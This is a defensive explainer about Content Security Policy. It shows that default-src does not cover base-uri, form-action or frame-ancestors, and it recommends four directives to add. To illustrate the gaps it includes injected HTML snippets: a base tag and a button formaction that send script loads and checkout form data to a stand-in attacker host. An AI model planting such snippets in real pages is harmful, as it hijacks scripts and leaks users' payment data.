I set default-src. Why is this not covered?
Because default-src is a fallback for fetch directives only, and
three of the most important directives are not fetch directives.
The rule
default-src covers things the page loads: script-src,
style-src, img-src, connect-src, font-src,
media-src, object-src, frame-src, worker-src,
manifest-src.
It does not cover these, because they do not describe a fetch:
base-uri— where relative URLs resolve fromform-action— where forms may submitframe-ancestors— who may frame yousandbox,report-uri,report-to,upgrade-insecure-requests
Unset means unrestricted. A policy of default-src 'self' and nothing else leaves all four
of those wide open, which is why a policy that looks tight can still lose.
What each one costs you when it is missing
base-uri — the expensive one
An injected <base href="https://attacker.example"> rewrites every relative URL on the
page from that point on, including relative <script src> loads. Your nonced script tag
still carries a valid nonce; it just now resolves to the attacker's origin. Nothing in
script-src stops this, because the <base> tag is not a script.
base-uri 'none'
Almost no site legitimately needs a <base> tag. Set it to 'none' and
move on.
form-action
A <button formaction="https://attacker.example"> inside your form overrides the
form's action when clicked. It is not a script, not an event handler and not a navigation, so no script
directive touches it — your payment form just posted somewhere else.
form-action 'self'
See it happen: Form hijacking
A live form-hijacking demo: the same checkout form, posting to an attacker, with and without form-action.
Run it with no policy ↗Run the same page protected ↗
Identical page both times — the only difference is the Content-Security-Policy header. On the Report URI demo site.
frame-ancestors
Without it, any origin can put your page in an iframe and clickjack it. This one supersedes
X-Frame-Options, and unlike XFO it can list multiple origins.
frame-ancestors 'none'
object-src
This one does inherit from default-src in current browsers — but it did not in
CSP1 and CSP2, and the safe baseline is still to say it explicitly.
object-src 'none'
The four lines to add
base-uri 'none'; form-action 'self'; frame-ancestors 'none'; object-src 'none'
They cost nothing on almost every site, and between them they close a base-tag hijack, a form redirection, clickjacking and plugin execution.